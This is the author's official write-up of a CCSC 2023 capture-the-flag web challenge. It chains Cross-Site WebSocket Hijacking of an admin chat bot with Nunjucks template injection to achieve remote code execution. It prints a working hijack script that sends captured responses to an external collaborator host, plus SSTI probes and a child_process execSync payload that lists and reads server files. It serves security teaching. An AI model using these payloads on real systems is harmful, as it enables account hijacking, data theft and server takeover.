Home Cyber Sleuths: Web Security Havoc
Post
Cancel

Cyber Sleuths: Web Security Havoc

Intro

Cyber Sleuths: Web Security Havoc is one of the CCSC 2023 web challenges I authored.

This challenge has a basic chat bot functionality and requires the player to enumerate the application, distinguish a potential Web Socket implementation flaw, and use the chat bot to their advantage to exploit the misconfigration. Once successful they can use hidden admin functionality to further exploit the application gaining remote code execution and reading the contents of /flag.txt

This is the official writeup of the challenge. Enjoy.

Challenge Info

Description: We are organizing a group of cyber sleuths to carry out top secret missions. Apparently there is a flag on the root / path of this server, but no one has ever managed to read it. Fetch it for us and consider yourself part of the team. Good luck rookie.

Tags: web, hard

Initial Recon

When first opening the application we are greeted with a login and registration page.

Alt text Login Page

Registering a user and logging into the application shows a simple Chat Box. Talking to the bot shows it is quite dumb and does not contain much functionality.

Alt text Chatbot response with few commands

After playing around with the chat bot, we notice the flag, help and ? commands have a different response, stating only an admin user can send these commands. Trying to register a user with the username admin shows an error that the username exists.

The objective of the challenge seems simple, we must escalate our privileges to the admin user and send privileged commands to the bot.

Digging Deeper

Since there is no other functionality on the web application we can review the the Chat bot implementation from the source code. There are two javascript files loaded in the application, jquery.js and utils.js, of course utils.js is the obvious choice to dig into first since it is custom code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
$(document).ready(function() {
    function sendMessage() {
        const message = messageInput.val().trim();
        if (message !== '') {
            addMessage('You', message);
            socket.send(message); 
            messageInput.val('');
        }
    }

    function addMessage(username, message) {
        const messageElement = $('<div></div>').addClass('message').html(`<strong>${escapeHtml(username)}:</strong> ${escapeHtml(message)}`);
        messageArea.append(messageElement);
        messageArea.scrollTop(messageArea.prop('scrollHeight'));
    }

    host = window.location.host
    var socket = new WebSocket(`wss://${host}/chat`);

    const messageArea = $('#messageArea');
    const messageInput = $('#messageInput');

    socket.onmessage = (event) => {
        var response = JSON.parse(event.data);
        addMessage(response.username, response.message);
    };

    // Event listener for Enter key press in the message input
    messageInput.on('keydown', function(event) {
        if (event.key === 'Enter') {
            event.preventDefault();
            sendMessage();
        }
    });

});

function escapeHtml(text) {
    return $('<div>').text(text).html();
}

The above file shows the chat bot messages are implemented using Web Sockets.

Intercepting the Web Socket request using a proxy like BurpSuite we notice the request does not contain a CSRF token.

Alt text Web Socket initialization request

Reading online about Web Sockets without CSRF tokens, we can find a vulnerability class called Cross Site Web Socket Hijacking (CSWSH).

Cross Site Web Socket Hijacking - CSWSH

CSWSH is basically a CSRF attack on Web Sockets. This vulnerability arises when a Web Socket is initiated without any unpredictable values, and relies solely on cookies for session handling.

An attacker can create a malicious server, hosting javascript code, forcing the visiting victim to initiate a web socket connection. Due to the lack of a CSRF token, the attacker can hijack the victims web socket connection and perform actions on behalf of the victim.

Though, a couple prerequisites must be met before being able to exploit this vulnerability.

  1. The applications cookies must be set with SameSite=None, this allows the cookies to be sent along with the Cross-site request when initiating the Web Socket
  2. There must be some sort of visiting functionality on the web application that forces the admin/bot user to visit arbitrary URLs

Checking CSWSH Prerequisites

First we need to check the application requests to find where our cookie is initially set, or just deleting the cookie and refreshing the application will still work.

Alt text Application sets cookie with SameSite=None

Now there must be some sort of bot visiting functionality on the web application. Since there is no other input field on the app we can try sending a URL in the chat.

Supplying a simple burp collaborator URL shows the bot does indeed visit the URL.

Alt text Bot visting sent URL

Exploiting CSWSH

Before crafting the exploit we first must find the endpoint to which the Web Socket is initialized, and how the messages are sent. This can all be obtained from the utils.js file above.

  • Endpoint: /chat
  • Message Format: "Text string"

If this is still difficult to understand, we can use burp proxy to find the endpoint to the initial request (as shown above), and view the web socket message to find the format.

Alt text Test message to web socket

Now we can construct our payload.

  • First we initialize a Web Socket to /chat
  • Once the Web Socket has been opened, we can send the "flag" string.

Since the bot will visit our site blindly, we need to send the receiving message to some sort of receiver to read the messages.

  • Use the onmessage API call to send the receiving message to another burp collaborator in the body of a POST request.
1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
    
    var ws = new WebSocket('wss://challenges.cybermouflons.com:3443/chat');

    ws.onopen = function() { 
        ws.send("flag"); 
    }; 

    ws.onmessage = function(event) { 
        fetch('https://dxelsb1h9an26mt2bpcntzz01r7iv9jy.oastify.com/', {method: 'POST', mode: 'no-cors', body: event.data}); 
    };

</script>

All that is left now is to host the malicious javascript code on a our server and force the bot to visit.

Alt text Web server hosting CSWSH exploit

Checking the burp collaborator logs the Web Socket was successfully hijacked and we get the admin response message

Alt text Bot response captured in burp collaborator request

This does not immediately give us the flag, but we also found in out initial recon that the help and ? commands are also privileged commands

Testing hidden functionality

Using the same exploit as above we can send the help command and receive the following output

CommandDescription
helpThis help page
flagPrint flag
uploadUpload file contents to file

There is also an upload command, sending this command as is, shows its usage

1
USAGE: upload [file_contents]

Seems like it only needs the file contents next to the upload command, lets send a test command like so:

upload File contents here

1
Uploaded file successfully - Visit at /tmp-vqxegt.html

Visiting /tmp-vqxegt.html shows our file contents

Alt text Uploading test file

A few key points here:

  • Our file contents are directly rendered into the applicaiton
  • The file extension is not controlled by us, it is hardcoded to create only .html files

SSTI

Two major vulnerabilities can be tested here, XSS and SSTI. Since the challenge description states the flag must be read from the root / directory we need to somehow obtain RCE. This narrows down our possible attacks and SSTI seems like the most viable solution.

Confirming SSTI

We first need to send a couple of test payloads to check if the application is vulnerable to SSTI:

1
2
3
4
${7*7}</br>
{{7*7}}</br>
#{7*7}</br>
{7*7}</br>

Checking our uploaded file we do in fact see the payload {{7*7}} has been rendered with the output 49. Now all that is left is to find which templating engine is being used.

Alt text Visiting hail mary payload page

Checking the response headers of the application there is a header that discloses the backend programming language X-Powered-By: Express, which means the backend language is NodeJS

Searching online for templating engines used by NodeJs with the double curly bracket syntax we will stumble upon a few, trying each engine with a command execution payload will reveal the templating engine used is Nunjucks

Exploiting SSTI - RCE

The following payload will execute system commands, first we need to list all files in the root directory

1
{{range.constructor("return global.process.mainModule.require('child_process').execSync('ls -la /')")()}}

Upload the payload with the CSWSH exploit like before.

upload {{range.constructor("return global.process.mainModule.require('child_process').execSync('ls -la /')")()}}

Pro Tip: Add <pre> before the SSTI payload to pretty print the output

And then visit the uploaded file.

Alt text Successful Remote Code Execution - Listing root directory

Now we know the flag file name is flag-a31ee1525b.txt we can create another payload to read its contents

Final Payload:

upload <pre>{{range.constructor("return global.process.mainModule.require('child_process').execSync('cat /flag-a31ee1525b.txt')")()}}

Alt text Flag file contents

Flag: CCSC{1nj3ct1ng_t3mpl4t3s_4nd_H1j4ck1ng_w3bs0ck3ts_s1nc3_jun3_2008}

This post is licensed under CC BY 4.0 by the author.